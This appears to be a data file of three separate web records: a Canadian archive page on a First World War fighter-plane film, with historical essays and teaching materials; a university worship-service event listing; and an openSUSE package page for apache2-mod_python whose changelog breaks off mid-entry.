text:
Fighter Planes
The Film
Pour la vitesse
Chaque film de ce site est disponible pour visionnage en basse vitesse et en haute vitesse.
- Basse vitesse : recommandée si votre accès Internet se fait avec un modem de 56 kbps ou moins. Le visionnage en basse vitesse fournit une moins bonne qualité d'image et de son.
- Haute vitesse : recommandée avec service Internet haute vitesse (ADSL, modem câble) ou avec ordinateur d'institution. Le visionnage en haute vitesse fournit la meilleure qualité d'image et de son. Le visionnage en haute vitesse peut produire des images saccadées et des interruptions occasionnelles de son si la vitesse de votre connexion est insuffisante.
En cas d'hésitation, essayez d'abord de visionner en haute vitesse. Si cela ne fonctionne pas, essayez la basse vitesse.
Pour le format
Les films peuvent être disponibles pour visionnage en format Macromedia Flash et QuickTime. Tous offrent une qualité égale d'image et de son.
- Format Flash : permet de visionner le film directement dans la page Web, sans avoir à ouvrir une application externe. Nécessite le plugiciel Flash (offert gratuitement ici Macromedia Flash Player).
- Format QuickTime : nécessite l'application QuickTime, soit la version 7 ou plus récent (offert gratuitement ici QuickTime).
Sous-titrage pour malentendants (CC)
Consiste à inscrire à l'écran sous forme de sous-titres, la partie sonore d'un film, par exemple les dialogues, la narration, incluant rires, bruits, etc. Ainsi, les personnes vivant avec un handicap auditif peuvent lire ce qu'ils ne peuvent pas entendre. Le sous-titrage est offert pour quelques films. Pour y avoir accès, vous devez sélectionner QuickTime (sous Format) et Avec sous-titrage pour malentendants (sous Accessibilité).
Vidéodescription (DV)
Consiste à offrir une description orale des éléments visuels clés d'un film, de telle sorte que les personnes vivant avec un handicap visuel peuvent concevoir une imagerie mentale en rapport avec le déroulement des images à l'écran. La vidéodescription est offerte pour quelques films. Pour y avoir accès, vous devez sélectionner QuickTime (sous Format) et Avec vidéodescription (sous Accessibilité).
Running Time
08 min 43 s
Canadian War Records Office, Ministry of Information
This footage can be divided into four distinct sections. The first segment depicts members of the Royal Naval Air Service as they receive instruction in the use of aerial machine guns and bombs; go about their work in a repair shop; and undergo an inspection outside a hangar. The second section features a group of aviators posing before BE2 trainer aircraft. After a pair of aviators pose in the cockpit, we see a rear view of the BE2 as it taxis away. The third section is a montage of various aircraft — a Farman Maching, a Sopwith 1&1/2 Strutter and others – as they take off and land. The final segment begins with images of a pilot and camera operator boarding an observation plane which proceeds to take off. This is followed by a series of aerial shots, including images of other aircraft performing stunts.
The First World War is often described as "the first air war." While aircraft had been used in previous conflicts — mostly recently in the Balkan wars of 1912 and 1913 - it was during the great conflict of 1914-1918 that aircraft would forever alter the nature of warfare. In turn, the war would spur unprecedented advances in aircraft technology.
Canada did not have any air force units of its own, and was only beginning to develop its own embryonic air force in the closing days of the war. However, thousands of Canadians served with the British flying services, with estimates ranging from 13,160 to 22,812. By 1918 about one quarter of the men in the Royal Air Force were Canadian, some of whom underwent training at home in Canada. Among the most accomplished Canadian "aces" were Raymond Collishaw, William Barker, and Redford Mulock, a decorated Colonel who was in line to command an air raid on Berlin if the war had lasted a few weeks longer.
All the images in this clip would have been shot during training sessions, as little actual battle footage exists. BE.2a and BE.2b aircraft were used only briefly in battle (1914-1915) before being replaced by the BE.2c and BE.2d which served until 1917. As each version became obsolete in the field it was "recycled" in training roles. This was a common pattern, as improved versions of existing machines or altogether new aircraft were rapidly introduced. In the case of the Sopwith 1&1/2 Strutter — the first British strategic bomber — its lifespan in the field was less than a year, from late 1916 until early 1917. By this time, engineers had designed the first purpose-built training aircraft, the Curtiss JN-4, which went on to enjoy a post-war career as a "barnstormer" in civilian flying exhibitions.
The cameraman seen towards the end of the clip would not have been engaged in military reconnaissance. He was more likely a cinematographer whose intent was to capture aerial footage like that featured in this type of film.
Pieces of History
The First Air War
Hugh A. Halliday
Historian and author
During the Russo-Japanese War (1904-1905) experts noted that smokeless powder, rifled artillery, machine guns and barbed wire had turned battlefields into vast wastelands where armies hid from their opponent's shells. Cavalry—the traditional form of reconnaissance—could not manoeuvre . Ten years later, aircraft made stalemate even more certain. In August 1914 aerial reconnaissance enabled the Allies to counter-attack against German armies invading France. Thereafter, with few exceptions, aerial observers forecast an enemy's offensive and thus assured its failure (or success, at appalling cost).
The power of aerial observation went further. With armies driven into complex trench systems, artillery came to the fore as the deadliest weapon of the war. The great guns of the Western Front were the primary killing machines of what had become industrialized warfare—65 percent of all deaths and wounds were attributable to artillery fire, which delivered awesome weights of shell and shrapnel.
Days before his death by artillery fire, an American soldier wrote, "This is a cowering war—pygmy man huddles in little holes and caves, praying to escape the blows of the blind giant who pounds the ground with blind hammers." But the hammers were not blind. Their targets were mapped by men in aircraft and balloons, their fire was directed from aircraft and balloons. The aerial observer was the most important airman of the war; his role today has been assumed by others, including the aerial spy satellite.
The courage of these men defies imagination. Balloon observers ascended under gas bags filled with flammable hydrogen, vulnerable to fighter aircraft determined to shoot them down. The men in the balloons at least had parachutes, if time permitted them to escape. For most of the war, pilots and airplane crews had no such equipment; fire in the air was the most dreaded fate of all, and many men carried pistols to shoot themselves rather than suffer agonizing deaths. In June 1918 German aircrews were issued parachutes; even these failed to deploy about 25 percent of the time.
Given the importance of aerial reconnaissance and artillery direction, it is puzzling to find so much attention being devoted to fighter pilots, these "knights of the air." Fighter pilots and tactics evolved from 1915 onwards, but their task was always secondary to that of the observation crews. It was a fighter pilot's job to shoot down enemy observation aircraft and protect his own observation aircraft. Nevertheless, propagandists trying to divert attention from the awful slaughter on the ground fastened upon the fighter pilots as men engaged in single combat, man-to-man, with the high-scoring "ace" as the centrepiece of the narrative. Never mind that the fighter pilot's objective was (preferably) to surprise an opponent and shoot him in the back. Chivalry there might be—a decent burial for a fallen enemy, a toast with a captured foe—but in the heat of battle there could be only one rule: kill or be killed. At the heart of everything else, that was a fighter pilot's job description. It is a measure of the propagandist's success that, 90 years later, the public knows more about the First World War fighter pilots than the men they were actually protecting.
Airplanes were used for many other tasks—anti-submarine patrols, trench strafing, communications and bombing. Indeed, aircraft performed almost every task in the First World War that they would later execute in the Second World War. The one exception was the aerial delivery of soldiers. Even so, aircraft were used to place spies behind enemy lines and drop supplies to isolated troops. Nevertheless, in most roles the airplanes of 1914-1918 only hinted at what was to come. Only one submarine was sunk by aircraft during the First World War; at least 400 submarines on all sides were destroyed by aircraft during the Second World War. Aerial bombing between 1914 and 1918 inflicted only modest devastation (although its psychological impact was very great at the outset); the bombing campaigns of the Second World War were horrific both in physical impact and subsequent moral outrage.
Aircraft affected the conduct of the war, and war influenced the technological development of aircraft. For example, engines increased from an average of 80 horsepower (1914) to 350 horsepower (1918), while speeds of 110 km/h had risen to about 200 km/h. Yet if the war had not taken place, it is conceivable that commercial incentives might have produced similar results. The first four-engine airliner had flown in Russia in 1913. Might not development have taken place along civilian lines ? Five years later, France and Britain initiated civilian air transport services using modified bombers that carried fewer passengers than their Russian predecessors of 1913.
Whether or not it was due to war, a radical transformation occurred between 1914 and 1918 that involved the attitudes of aviators themselves. Even among the select circle of 1914 pilots, flying was considered hazardous,, and training methods reflected this. At the time, no aircraft had been designed specifically for training; throughout the war most training aircraft were machines like the RE.7 and Farman Shorthorn, which had been retired from front-line duties to rear echelon tasks. The Curtiss JN-4 broke this pattern.
The most radical change, however, involved the training syllabus itself. Early flying instruction covered the basics of flying but emphasized dangers to be avoided, particularly stalls and spins. By 1916, however, the dynamics of flight controls were more fully understood, and recovery from spins could be practised. New systems of instruction emphasized the theory of flight and explained exactly how manoeuvres could be executed, thus encouraging intelligent aerobatics. Instead of being regarded as a threatening mount, the airplane came to be seen as an even-tempered, reasonable machine. Previously, students had been taught what to avoid; the new methods instilled confidence. By the end of the war, pilots had become enthusiastic about the potential uses of aircraft and convinced of the fundamental safety of their machines. Confident prophets inspire confident converts.
Canada's role in these developments was insignificant in some ways, crucial in others. Before the war the government studiously ignored aviation, and only in 1918 did it take steps to form distinct Canadian air force units. On the other hand, it assisted the British flying services, which recruited in Canada and trained personnel in this country. Thousands of Canadians enlisted in the British flying services, either directly or by transferring from the Canadian Expeditionary Force. No one really knows just how many joined; the lowest estimate (13,160) seems too modest, but the highest guess (22,812) cannot be documented. It is generally believed that, as of 1918, about one-quarter of all members of the Royal Air Force were Canadians. The most famous were aces such as Raymond Collishaw and William Barker, but they included many other fascinating individuals. In 1915, Redford Mulock had been a trooper transferring from the cavalry to the Royal Naval Air Service. As of November 1918, he was a decorated colonel commanding heavy bombers that would have raided Berlin if the war had lasted only two weeks longer.
Selected Bibliography
Chajkowsky, William E. Royal Flying Corps; Borden to Texas to Beamsville. Cheltenham, ON: Boston Mills Press, 1979.
Costello, W. Brian. A Nursery of the Air Force. Carleton Place, ON: Forest Beauty Products, 1979.
Dodds, Ronald. The Brave Young Wings. Stittsville, ON: Canada's Wings, 1980.
Drew, George. Canada's Fighting Airmen. Toronto: Maclean Publishing, 1931.
Ellis, Frank H. Canada's Flying Heritage. Toronto: University of Toronto Press, 1954.
Fuller, G.A., J.A. Griffin and K.A. Molson. 125 Years of Canadian Aeronautics: A Chronology,1840-1965. Toronto: Canadian Aviation Historical Society, 1983.
Goodspeed, D. J. The Armed Forces of Canada,1867-1967. Ottawa: Canadian Forces Headquarters, 1967.
Greenhous, Brereton. The Making of Billy Bishop. Toronto: Dundern Group, 2002.
Greenhous, Brereton and Hugh A. Halliday. Canada's Air Forces,1914-1999. Montreal: Art Global, 1999.
Halliday , Hugh A. Not in the Face of the Enemy: Canadians Awarded the Air Force Cross and Air Force Medal,1918-1966. Toronto: Robin Brass Studio, 2000.
Jones, Neville. The Origins of Strategic Bombing. London: William Kimber, 1973.
Milberry, Larry. Aviation in Canada. Toronto: Canav Books, 1979.
---. Canada's Air Force at War and Peace. 3 vol. Toronto: Canav Books, 1999 to 2001.
Rimell, Raymond Laurence. Zeppelin! A Battle for Air Supremacy in World War I. Stittsville, ON: Canada's Wings, 1984.
Shores, Christopher, Norman Franks and Russell Guest. Above the Trenches: A Complete Record of the Fighter Aces and Units of the British Empire Air Forces, 1915-1920. Stoney Creek, ON: Fortress Publications, 1990.
Sullivan, Alan. Aviation in Canada,1917-1918. Toronto: Rous and Rous, 1919.
Wise, S.F. Canadian Airmen and the First World War. Ottawa: Department of National Defence, 1982.
The following Web site has a section "Honours and Awards" and a subsection dealing with Canadians in the British Flying Services during the First World War: http://www.airforce.ca/.
Some General Comments on Great War-era Films
Major Michael R. McNorgan
Instructor, Royal Military College, Kingston
The first feature of a Great War-era movie to strike the modern viewer is the jerkiness of people's movements, which stems from the low number of frames per second of the film of that time. The second feature is the fact that the camera is usually stationary while activities take place around it. Although the camera can pan across a scene, it does not itself move. Connected to this is a lack of changes in focus. If action is taking place in the foreground, for example, the camera stays there; if in the middle ground, it stays there and so on.
All of these features are a product of the technology of the time. The camera, along with its tripod and film stock, weighed over 44 kg. It was not easily moved about or easy to hide from view. In one extended scene depicting a front line bombardment, the sandbags used by the cameraman to help camouflage his equipment can be seen in the bottom of the frame. To change focus from close-up to medium distance to far distance required a change of lens, a procedure that took time and, of course, interrupted the filming process.
The British first employed cameras on the battlefield in the spring of 1916. Once in the field, cameramen found that they needed clear daylight to get the best shots. When they did film on cloudy days, they tried to compensate for the lack of light by leaving the film in the developer for longer periods, but the films usually came out very dark in tone and difficult to see. Filming at night was impossible.
For all the above reasons, most filming took place behind the lines. There are some, very rare, shots taken in the frontline trenches, the most famous of which are the scenes of soldiers 'going over the bags' on July 1, 1916, during the opening day of the Battle of the Somme. Although considered by many experts to be genuine, this film has attracted controversy with some informed commentators maintaining that it was actually shot behind the lines.
Another famous frontline shot (there being no controversy about its authenticity) is the explosion of the huge mine in front of the village of Beaumont-Hamel, also on July 1, 1916. The explosion of this mine marked the beginning of the action in which the Newfoundland Regiment was all but wiped out, with 710 casualties in a unit of 800 men.
Propaganda guidelines
As well as technical difficulties, cameramen also had to deal with official propaganda guidelines. Scenes of badly wounded or dead British or Allied soldiers were not to be shown. Fraternization between British and German troops was not to be shown. German prisoners should only be depicted in agricultural work. Chinese labourers, who were employed by the British on the Western Front in large numbers, should not be shown in work that might appear to their countrymen as military. It is remarkable how often these strictures were ignored; nevertheless, such scenes are fairly rare.
The cameramen too had an agenda. They wanted their work to be accepted by the general public as legitimate depictions of the war. During the South African War (1899-1902) faked war scenes shown in public cinemas had caused something of a scandal and the credibility of the filmmakers had suffered. Therefore, cameramen were not open to suggestions that war scenes be faked. The scenes of German prisoners of war loading stretcher cases onto a light railway are a case in point. We are seeing Allied wounded, albeit the wounds are covered and patients are ambulatory, and we are seeing prisoners used in work that is definitely not agricultural. The Canadians used a light rail system at Vimy Ridge to bring up supplies and evacuate casualties, and these scenes, which are definitely of Canadians (the divisional shoulder badges are visible), are probably taken at the Vimy rail line.
As time progressed, the cameramen gained experience in this novel business of wartime filming, and their product grew in quality and sophistication.
Helmets and other headgear
The wearing of steel helmets generally implies the nearness to the front lines of the scene being shown. The British steel helmet was introduced in the summer of 1916. It was uncomfortable to wear, because it was heavy and its solid rubber grommets would press into the skull. Furthermore, the lack of ventilation caused sweat to flow freely into the wearer's eyes, particularly during the summer. Nevertheless, it drastically reduced the number of head injuries and its use was not difficult to impose on frontline troops; but whenever possible troops would replace it with the soft peaked field cap. Thus, if a scene shows everyone in steel helmets, we are likely close to the front. If there is a mixture of the two types of headgear, then we are back of the lines, and if everyone is wearing field caps, we are definitely in a rear area. Soldiers did remove their headgear during strenuous work in the rear areas, but they were seldom depicted bareheaded: it was considered unsoldierly for an officer or man to be without a cap or helmet - for one thing, they could not salute without headgear.
Mounted troops (cavalry, horse artillery, cyclists) can be differentiated from dismounted ones (infantry, field artillery) by their wear of the cross-belt. This was a leather belt filled with .303-service ammunition that was worn by the men—but not by officers—over their right shoulder. Each clip of five rounds was in a separate pouch with a snap-down cover over it. Any man with a mounted role was issued with this particular item.
Officers can generally be differentiated from the men by their Sam Browne belts. These were leather belts worn around the waist with a cross strap worn over the right shoulder. Mounted officers usually wore high boots rather than puttees. (Puttees are a long cloth strip wore wrapped around the lower leg.) The fact that officers dressed differently made their identification easier in the field. This cut both ways, however, for the enemy could also more easily identify the officers and make them their priority targets. Some officers, primarily in infantry units, took to wearing the same uniforms as their men and to carrying rifles, instead of the officers' more usual revolver, when in action. Cavalry and artillery officers did not have this problem since one mounted man looked much like another when viewed from the enemy's perspective.
In front line units, a sleeveless leather jerkin was issued for winter, and many scenes depict these. Less commonly seen but also present are cap badges painted onto the steel helmets. Many units adopted this idea but it was not universally popular since, unless a cloth sacking or daub of mud covered it, it made the wearer more visible to the enemy, giving the enemy sharpshooter a target.
Several sequences depict tumpliners. These were soldiers from the front line units sent to the rear area to pick up rations, ammunition and trench stores for delivery to their unit, which normally took place at night. The boxes of supplies were carried by a tumpline, which was strong cloth slung from the carrier's forehead, the load being balanced on his back. This left the bearers' arms free to feel his way in the dark. This method of carriage was most commonly used by the Canadians and was a legacy of the early fur traders who learned this method of transport from the native Indians.
Teaching Materials
Films : Observation Balloons, Fighter Planes, Airplane Casualties
Background Notes for the Teacher
At the beginning of World War I, the airplane was used for reconnaissance. It had a top speed of about 120 km/h and was not equipped with ammunition. By the end of the war, bombers could reach speeds over 275 km/h and carried up to 3 tons of explosives.
A pilot needed to be able to do more than fly an airplane and fire artillery. He was required to read maps, take aerial photographs, make meteorological observations, assess enemy capabilities and communicate using a wireless telegraph system. Pilots faced many hardships in their open cockpits. Rain and cold made flying at high altitudes very uncomfortable. Sunlight could be blinding and it was difficult to distinguish between Allied and enemy planes even in the best of conditions.
Two of Canada's most decorated fighter pilots were Billy Bishop and Billy Barker. Bishop was credited with 72 confirmed victories while Barker destroyed 50 enemy planes. A pilot was classified as an "ace" if he shot down five enemy aircraft.
From the 1870s until the 1940s, tobacco companies issued trading cards to help sell their product. Baseball players, airplanes and war heroes were some of the trading card subjects. This marked the beginning of the trading card industry.
Introducing the Subject
Discuss how the military uses planes today (reconnaissance, bombing, troop and equipment deployment).
Study a picture of an airplane from World War I.
Would this aircraft have been capable of transporting troops and supplies?
Teaching and Learning
View film footage and have students identify some of the ways that planes were used by Allied forces.
Together, list other functions not shown in the footage.
Discuss the challenges of flying in an open cockpit.
Applying the Knowledge
Students can research a famous Canadian World War I pilot (e.g. Billy Bishop, Billy Barker, Raymond Collishaw, D.R. MacLaren) or one of the planes used by the CEF.
Provide students with some background information on the history of the tobacco card. Ask them to design their own trading card highlighting what they have learned about their topic.
Teacher Reflections
Were students able to trace the evolution of the airplane during World War I?
Did they recognize the courage required to be an aviator?


text:
This event is in the past.
Category: Other
Location: General Lectures #150 | Map
5045 Anthony Wayne
Detroit, MI 48202
Detroit, MI 48202
Cost: Free
Calendars: Main Events Calendar, Dean of Students Office
Audience: Current Graduate Students, Current Undergraduate Students, Prospective Students
Worship Service for New Life Church. All current and prospective students are invited.
For more information about this event, please contact Chelsea Smallridge at 313-577-1010 or email@example.com.

subset: commoncrawl


text:
|index by Group
|index by Distribution
|index by Vendor
|index by creation date
|index by Name
|Name: apache2-mod_python
|Distribution: openSUSE 11.4
|Version: 3.3.1
|Vendor: openSUSE
|Release: 160.3
|Build date: Wed Feb 23 00:24:09 2011
|Group: Productivity/Networking/Web/Servers
|Build host: build10
|Size: 3081446
|Source RPM: apache2-mod_python-3.3.1-160.3.src.rpm
|Packager: http://bugs.opensuse.org
|Url: http://www.modpython.org/
|Summary: A Python Module for the Apache 2 Web Server
mod_python allows embedding Python within the Apache HTTP server for a considerable boost in performance and added flexibility in designing Web-based applications. Apache processes requests in stages (for example: read the request, parse headers, check access, and so on). These stages can be implemented by functions called handlers. Traditionally, handlers are written in C and compiled into Apache modules. mod_python provides a way to extend Apache functionality by writing Apache handlers in Python. For a detailed description of the Apache request processing process, see the Apache API notes. For most programmers, the request and the authentication handlers provide everything required. To ease migration from CGI and Httpdapy, two handlers are provided that simulate these environments, allowing a user to run scripts under mod_python with (for the most part) no changes to the code. mod_python originated from a project called Httpdapy. For a long time, Httpdapy was not called mod_python because Httpdapy was not meant to be Apache-specific. Httpdapy was designed to be cross-platform and was initially written for the Netscape server. Usage Hints: To load mod_python into Apache, add it to APACHE_MODULES in /etc/sysconfig/apache2. The configuration is described in /usr/share/doc/packages/apache2-mod_python/doc-html/index.html. Authors: -------- Gregory Trubetskoy <email@example.com>
X11/MIT, Other License(s), see package
* Thu May 06 2010 firstname.lastname@example.com - fix md5 deprecation warning * Tue May 19 2009 email@example.com - spec file cosmetic fixes - pass -j - use in-place sed (sed -i) - added hacks for building with python2.5 on SLE 9 * Tue Aug 19 2008 firstname.lastname@example.com - fix build with apr 1.3.2 and later mod_python-3.3.1-bucket-brigade.patch http://email@example.com/msg20588.html * Fri Apr 13 2007 email@example.com - update to 3.3.1 | New Features | - (MODPYTHON-103) New req.add_output_filter(), | req.add_input_filter(), req.register_output_fiter(), | req.register_input_filter() methods. These allows the dynamic | registration of filters and the attaching of filters to the | current request. | - (MODPYTHON-104) Support added for using Python in content being | passed through "INCLUDES" output filter, or as more commonly | referred to server side include (SSI) mechanism. | - (MODPYTHON-108) Added support to cookies for httponly attribute, | an extension originally created by Microsoft, but now getting | more widespread use in the battle against cross site-scripting | attacks. | - (MODPYTHON-118) Now possible using the PythonImport directive to | specify the name of a function contained in the module to be | called once the designated module has been imported. | - (MODPYTHON-124) New req.auth_name() and req.auth_type() methods. | These return the values associated with the AuthName and AuthType | directives respectively. The req.ap_auth_type has now also been | made writable so that it can be set by an authentication handler. | - (MODPYTHON-130) Added req.set_etag(), req.set_last_modified() and | req.update_mtime() functions as wrappers for similar functions | provided by Apache C API. These are required to effectively use | the req.meets_condition() function. The documentation for | req.meets_condition() has also been updated as what it previously | described probably wouldn't actually work. | - (MODPYTHON-132) New req.construct_url() method. Used to construct | a fully qualified URI string incorporating correct scheme, server | and port. | - (MODPYTHON-144) The "apache.interpreter" and "apache.main_server" | attributes have been made publically available. These were | previously private and not part of the public API. | - (MODPYTHON-149) Added support for session objects that span | domains. | - (MODPYTHON-153) Added req.discard_request_body() function as | wrapper for similar function provided by Apache C API. The | function tests for and reads any message body in the request, | simply discarding whatever it receives. | - (MODPYTHON-164) The req.add_handler(), | req.register_input_filter() and req.register_output_filter() | methods can now take a direct reference to a callable object as | well a string which refers to a module or module::function | combination by name. | - (MODPYTHON-165) Exported functions from mod_python module to be | used in other third party modules for Apache. The purpose of | these functions is to allow those other modules to access the | mechanics of how mod_python creates interpreters, thereby | allowing other modules to also embed Python and for there not to | be a conflict with mod_python. | - (MODPYTHON-170) Added req._request_rec, server._server_rec and | conn._conn_rec semi private members for getting accessing to | underlying Apache struct as a Python CObject. These can be used | for use in implementing SWIG bindings for lower level APIs of | Apache. These members should be regarded as experimental and | there are no guarantees that they will remain present in this | specific form in the future. | - (MODPYTHON-193) Added new attribute available as | req.hlist.location. For a handler executed directly as the result | of a handler directive within a Location directive, this will be | set to the value of the Location directive. If LocationMatch, or | wildcards or regular expressions are used with Location, the | value will be the matched value in the URL and not the pattern. | | Improvements | - (MODPYTHON-27) When using mod_python.publisher, the __auth__() | and __access__() functions and the __auth_realm__ string can now | be nested within a class method as a well a normal function. | - (MODPYTHON-90) The PythonEnablePdb configuration option will now | be ignored if Apache hasn't been started up in single process | mode. | - (MODPYTHON-91) If running Apache in single process mode with PDB | enabled and the "quit" command is used to exit that debug | session, an exception indicating that the PDB session has been | aborted is raised rather than None being returned with a | subsequent error complaining about the handler returning an | invalid value. | - (MODPYTHON-93) Improved util.FieldStorage efficiency and made the | interface more dictionary like. | - (MODPYTHON-101) Force an exception when handler evaluates to | something other than None but is otherwise not callable. | Previously an exception would not be generated if the handler | evaluated to False. | - (MODPYTHON-107) Neither mod_python.publisher nor mod_python.psp | explicitly flush output after writing the content of the response | back to the request object. By not flushing output it is now | possible to use the "CONTENT_LENGTH" output filter to add a | "Content-Length" header. | - (MODPYTHON-111) Note made in session documentation that a save is | required to avoid session timeouts. | - (MODPYTHON-125) The req.handler attribute is now writable. This | allows a handler executing in a phase prior to the response phase | to specify which Apache module will be responsible for generating | the content. | - (MODPYTHON-128) Made the req.canonical_filename attribute | writable. Changed the req.finfo attribute from being a tuple to | an actual object. For backwards compatibility the attributes of | the object can still be accessed as if they were a tuple. New | code however should access the attributes as member data. The | req.finfo attribute is also now writable and can be assigned to | using the result of calling the new function apache.stat(). This | function is a wrapper for apr_stat(). | - (MODPYTHON-129) When specifying multiple handlers for a phase, | the status returned by each handler is now treated the same as | how Apache would treat the status if the handler was registered | using the low level C API. What this means is that whereas | stacked handlers of any phase would in turn previously be | executed as long as they returned apache.OK, this is no longer | the case and what happens is dependent on the phase. | Specifically, a handler returning apache.DECLINED no longer | causes the execution of subsequent handlers for the phase to be | skipped. Instead, it will move to the next of the stacked | handlers. In the case of PythonTransHandler, PythonAuthenHandler, | PythonAuthzHandler and PythonTypeHandler, as soon as apache.OK is | returned, subsequent handlers for the phase will be skipped, as | the result indicates that any processing pertinent to that phase | has been completed. For other phases, stacked handlers will | continue to be executed if apache.OK is returned as well as when | apache.DECLINED is returned. This new interpretation of the | status returned also applies to stacked content handlers listed | against the PythonHandler directive even though Apache notionally | only ever calls at most one content handler. Where all stacked | content handlers in that phase run, the status returned from the | last handler becomes the overall status from the content phase. | - (MODPYTHON-141) The req.proxyreq and req.uri attributes are now | writable. This allows a handler to setup these values and trigger | proxying of the current request to a remote server. | - (MODPYTHON-142) The req.no_cache and req.no_local_copy attributes | are now writable. | - (MODPYTHON-143) Completely reimplemented the module importer. | This is now used whenever modules are imported corresponding to | any of the Python*Handler, Python*Filter and PythonImport | directives. The module importer is still able to be used directly | using the apache.import_module() function. The new module | importer no longer supports automatic reloading of | packages/modules that appear on the standard Python module search | path as defined by the PythonPath directive or within an | application by direct changes to sys.path. Automatic module | reloading is however still performed on file based modules (not | packages) which are located within the document tree where | handlers are located. Locations within the document tree are | however no longer added to the standard Python module search path | automatically as they are maintained within a distinct importer | search path. The PythonPath directive MUST not be used to point | at directories within the document tree. To have additional | directories be searched by the module importer, they should be | listed in the mod_python.importer.path option using the | PythonOption directive. This is a path similar to how PythonPath | argument is supplied, but MUST not reference sys.path nor contain | any directories also listed in the standard Python module search | path. If an application does not appear to work under the module | importer, the old module importer can be reenabled by setting the | mod_python.legacy.importer option using the PythonOption | directive to the value '*'. This option must be set in the global | Apache configuration. | - (MODPYTHON-152) When in a sub request, when a request is the | result of an internal redirect, or when when returning from such | a request, the req.main, req.prev and req.next members now | correctly return a reference to the original Python request | object wrapper first created for the specific request_rec | instance rather than creating a new distinct Python request | object. This means that any data added explicitly to a request | object can be passed between such requests. | - (MODPYTHON-178) When using mod_python.psp, if the PSP file which | is the target of the request doesn't actually exist, an | apache.HTTP_NOT_FOUND server error is now returned to the client | rather than raising a ValueError exception which results in a 500 | internal server error. Note that if using SetHandler and the | request is against the directory and no DirectoryIndex directive | is specified which lists a valid PSP index file, then the same | apache.HTTP_NOT_FOUND server error is returned to the client. | - (MODPYTHON-196) For completeness, added req.server.log_error() | and req.connection.log_error(). The latter wraps ap_log_cerror() | (when available), allowing client information to be logged along | with message from a connection handler. | - (MODPYTHON-206) The attribute req.used_path_info is now | modifiable and can be set from within handlers. This is | equivalent to having used the AcceptPathInfo directive. | - (MODPYTHON-207) The attribute req.args is now modifiable and can | be set from within handlers. | | Bug Fixes | - (MODPYTHON-38) Fixed issue when using PSP pages in conjunction | with publisher handler or where a PSP error page was being | triggered, that form parameters coming from content of a POST | request weren't available or only available using a workaround. | Specifically, the PSP page will now use any FieldStorage object | instance cached as req.form left there by preceding code. | - (MODPYTHON-43) Nested __auth__() functions in | mod_python.publisher now execute in context of globals from the | file the function is in and not that of mod_python.publisher | itself. | - (MODPYTHON-47) Fixed mod_python.publisher so it will not return a | HTTP Bad Request response when mod_auth is being used to provide | Digest authentication. | - (MODPYTHON-63) When handler directives are used within Directory | or DirectoryMatch directives where wildcards or regular | expressions are used, the handler directory will be set to the | shortest directory matched by the directory pattern. Handler | directives can now also be used within Files and FilesMatch | directives and the handler directory will correctly resolve to | the directory corresponding to the enclosing Directory or | DirectoryMatch directive, or the directory the .htaccess file is | contained in. | - (MODPYTHON-76) The FilterDispatch callback should not flush the | filter if it has already been closed. | - (MODPYTHON-84) The original change to fix the symlink issue for | req.sendfile() was causing problems on Win32, plus code needed to | be changed to work with APR 1.2.7. | - (MODPYTHON-100) When using stacked handlers and a SERVER_RETURN | exception was used to return an OK status for that handler, any | following handlers weren't being run if appropriate for the | phase. | - (MODPYTHON-109) The Py_Finalize() function was being called on | child process shutdown. This was being done though from within | the context of a signal handler, which is generally unsafe and | would cause the process to lock up. This function is no longer | called on child process shutdown. | - (MODPYTHON-112) The req.phase attribute is no longer overwritten | by an input or output filter. The filter.is_input member should | be used to determine if a filter is an input or output filter. | - (MODPYTHON-113) The PythonImport directive now uses the | apache.import_module() function to import modules to avoid | reloading problems when same module is imported from a handler. | - (MODPYTHON-114) Fixed race conditions on setting sys.path when | the PythonPath directive is being used as well as problems with | infinite extension of path. | - (MODPYTHON-120) (MODPYTHON-121) Fixes to test suite so it will | work on virtual hosting environments where localhost doesn't | resolve to 127.0.0.1 but the actual IP address of the host. | - (MODPYTHON-126) When Python*Handler or Python*Filter directive is | used inside of a Files directive container, the handler/filter | directory value will now correctly resolve to the directory | corresponding to any parent Directory directive or the location | of the .htaccess file the Files directive is contained in. | - (MODPYTHON-133) The table object returned by | req.server.get_config() was not being populated correctly to be | the state of directives set at global scope for the server. | - (MODPYTHON-134) Setting PythonDebug to Off, wasn't overriding On | setting in parent scope. | - (MODPYTHON-140) The util.redirect() function should be returning | server status of apache.DONE and not apache.OK otherwise it will | not give desired result if used in non content handler phase or | where there are stacked content handlers. | - (MODPYTHON-147) Stopped directories being added to sys.path | multiple times when PythonImport and PythonPath directive used. | - (MODPYTHON-148) Added missing Apache contants | apache.PROXYREQ_RESPONSE and apache.HTTP_UPGRADE_REQUIRED. Also | added new constants for Apache magic mime types and values for | interpreting the req.connection.keepalive and req.read_body | members. | - (MODPYTHON-150) In a multithread MPM, the apache.init() function | could be called more than once for a specific interpreter | instance whereas it should only be called once. | - (MODPYTHON-151) Debug error page returned to client when an | exception in a handler occurred wasn't escaping special HTML | characters in the traceback or the details of the exception. | - (MODPYTHON-157) Wrong interpreter name used for fixup handler | phase and earlier, when PythonInterpPerDirectory was enabled and | request was against a directory but client didn't provide the | trailing slash. | - (MODPYTHON-159) Fix FieldStorage class so that it can handle | multiline headers. | - (MODPYTHON-160) Using PythonInterpPerDirective when setting | content handler to run dynamically with req.add_handler() would | cause Apache to crash. | - (MODPYTHON-161) Directory argument supplied to req.add_handler() | is canonicalized and a trailing slash added automatically. This | is needed to ensure that the directory is always in POSIX path | style as used by Apache and that convention where directories | associated with directives always have trailing slash is adhered | to. If this is not done, a different interpreter can be chosen to | that expected when the PythonInterpPerDirective is used. | - (MODPYTHON-166) PythonHandlerModule was not setting up | registration of the PythonFixupHandler or PythonAuthenHandler. | For the latter this meant that using Require directive with | PythonHandlerModule would cause a 500 error and complaint in | error log about "No groups file". | - (MODPYTHON-167) When PythonDebug was On and and exception | occurred, the response to the client had a status of 200 when it | really should have been a 500 error status indicating that an | internal error occurred. A 500 error status was correctly being | returned when PythonDebug was Off. | - (MODPYTHON-168) Fixed psp_parser error when CR is used as a line | terminator in psp code. This may occur with some older editors | such as GoLive on Mac OS X. | - (MODPYTHON-175) Fixed problem whereby a main PSP page and an | error page triggered from that page both accessing the session | object would cause a deadlock. | - (MODPYTHON-176) Fixed issue whereby PSP code would unlock session | object which it had inherited from the caller meaning caller | could no longer use it safely. PSP code will now only unlock | session if it created it in the first place. | - (MODPYTHON-179) Fixed the behaviour of req.readlines() when a | size hint was provided. Previously, it would always return a | single line when a size hint was provided. | - (MODPYTHON-180) Publisher would wrongly output a warning about | nothing to publish if req.write() or req.sendfile() used and data | not flushed, and then published function returned None. | - (MODPYTHON-181) Fixed memory leak 